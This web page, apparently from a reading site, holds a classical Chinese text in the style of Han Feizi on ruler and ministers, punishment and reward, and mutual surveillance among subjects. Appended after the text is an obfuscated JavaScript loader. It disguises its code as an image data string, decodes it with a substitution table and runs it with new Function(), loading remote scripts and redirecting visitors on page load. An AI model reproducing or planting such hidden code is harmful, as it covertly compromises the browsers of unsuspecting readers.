幽(1 / 1)

人主之所以身危国亡者,大臣太贵,左右太威也。所谓贵者,无法而擅行,操国柄而便私者也。所谓威者,擅权势而轻重者也。此二者,不可不察也。夫马之所以能任重引车致远道者,以筋力也。万乘之主、千乘之君所以制天下而征诸侯者,以其威势也。威势者,人主之筋力也。今大臣得威,左右擅势,是人主失力;人主失力而能有国者,千无一人。虎豹之所以能胜人执百兽者,以其爪牙也,当使虎豹失其爪牙,则人必制之矣。今势重者,人主之爪牙也,君人而失其爪牙,虎豹之类也。宋君失其爪牙于子罕,简公失其爪牙于田常,而不蚤夺之,故身死国亡。今无术之主皆明知宋、简之过也,而不悟其失,不察其事类者也。

且法术之士与当涂之臣,不相容也。何以明之?主有术士,则大臣不得制断,近习不敢卖重;大臣、左右权势息,则人主之道明矣。今则不然,其当涂之臣得势擅事以环其私,左右近习朋党比周以制疏远,则法述之士奚时得进用,人主奚时得论裁?故有术不必用,而势不两立。法述之士焉得无危?故君人者非能退大臣之议,而背左右之讼,独合乎道言也,则法术之士安能蒙死亡之危而进说乎?此世之所以不治也。明主者,推功而爵禄,称能而官事,所举者必有贤,所用者必有能,贤能之士进,则私门之请止矣。夫有功者受重禄,有能者处大官,则私剑之士安得无离于私勇而疾距敌,游宦之士焉得无挠于私门而务于清洁矣?此所以聚贤能之士,而散私门之属也。今近习者不必智,人主之于人也或有所知而听之,入因与近习论其言,听近习而不计其智,是与愚论智也。其当涂者不必贤,人主之于人或有所贤而礼之,入因与当途者论其行,听其言而不用贤,是与不肖论贤也。故智者决策于愚人,贤士程行于不肖,则贤智之士奚时得用,而人主之明塞矣。昔关龙逄说桀而伤其四肢,王子比干谏纣而剖其心,子胥忠直夫差而诛于属镂。此三子者,为人臣非不忠,而说非不当也,然不免于死亡之患者,主不察贤智之言,而蔽于愚不肖之患也。今人主非肯用法术之士,听愚不肖之臣,则贤智之士孰敢当三子之危而进其智能者乎?此世之所以乱也。

圣人之治民,度于本,不从其欲,期于利民而已。故其与之刑,非所以恶民,爱之本也。刑胜而民静,赏繁而奸生。故治民者,刑胜,治之首也;赏繁,乱之本也。夫民之性,喜其乱而不亲其法。故明主之治国也,明赏,则民劝功;严刑,则民亲法。劝功,则公事不犯;亲法,则奸无所萌。故治民者,禁奸于未萌;而用兵者,服战于民心。禁先其本者治,兵战其心者胜。圣人之治民也,先治者强,先战者胜。夫国事务先而一民心,专举公而私不从,赏告而奸不生,明法而治不烦。能用四者强,不能用四者弱。夫国之所以强者,政也;主之所以尊者,权也。故明君有权有政,乱君亦有权有政,积而不同,其所以立异也。故明君操权而上重,一政而国治。故法者,王之本也;刑者,爱之自也。

夫民之性,恶劳而乐佚。佚则荒,荒则不治,不治则乱,而赏刑不行于天下者必塞。故欲举大功而难致而力者,大功不可几而举也;欲治其法而难变其故者,民乱不可几而治也。故治民无常,唯治为法。法与时转则治,法与世宜则有功。故民朴而禁之以名则治,世知维之以刑则从。时移而治不易者乱,能治众而禁不变者削。故圣人之治民也,法与时移而禁与能变。

能越力于地者富,能起力于敌者强,强不塞者王。故王道在所开,在所塞,塞其奸者必王。故王术不恃外之不乱也,恃其不可乱也。恃外不乱而治立者削,恃其不可乱而行法者兴。故贤君之治国也,适于不乱之术。贵爵,则上重,故赏功爵任而邪无所关。好力者其爵贵;爵贵,则上尊;上尊,则必王。国不事力而恃私学者其爵贱,爵贱,则上卑;上卑者必削。故立国用民之道也,能闭外塞私而上自恃者,王可致也。

夫凡国博君尊者,未尝非法重而可以至乎令行禁止于天下者也。是以君人者分爵制禄,则法必严以重之。夫国治则民安,事乱则邦危。法重者得人情,禁轻者失事实。且夫死力者,民之所有者也,情莫不出其死力以致其所欲;而好恶者,上之所制也,民者好利禄而恶刑罚。上掌好恶以御民力,事实不宜失矣,然而禁轻事失者,刑赏失也。其治民不秉法为善也,如是,则是无法也。

故治乱之理,宜务分刑赏为急。治国者莫不有法,然而有存有亡;亡者,其制刑赏不分也。治国者,其刑赏莫不有分:有持以异为分,不可谓分;至于察君之分,独分也。是以其民重法而畏禁,愿毋抵罪而不敢胥赏。故曰:不待刑赏而民从事矣。

是故夫至治之国,善以止奸为务。是何也?其法通乎人情,关乎治理也。然则去微奸之道奈何?其务令之相规其情者也。则使相窥奈何?曰:盖里相坐而已。禁尚有连于己者,理不得相窥,唯恐不得免。有奸心者不令得忘,窥者多也。如此,则慎己而窥彼,发奸之密。告过者免罪受赏,失奸者必诛连刑。如此,则奸类发矣。奸不容细,私告任坐使然也。

夫治法之至明者,任数不任人。是以有术之国,不用誉则毋适,境内必治,任数也。亡国使兵公行乎其地,而弗能圉禁者,任人而无数也。自攻者人也,攻人者数也。故有术之国,去言而任法。

凡畸功之循约者虽知,过刑之于言者难见也,是以刑赏惑乎贰。所谓循约难知者,奸功也。臣过之难见者,失根也。循理不见虚功,度情诡乎奸根,则二者安得无两失也?是以虚士立名于内,而谈者为略于外,故愚、怯、勇、慧相连而以虚道属俗而容乎世。故其法不用,而刑罚不加乎僇人。如此,则刑赏安得不容其二?实故有所至,而理失其量,量之失,非法使然也,法定而任慧也。释法而任慧者,则受事者安得其务?务不与事相得,则法安得无失,而刑安得无烦?是以赏罚扰乱,邦道差误,刑赏之不分白也。

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();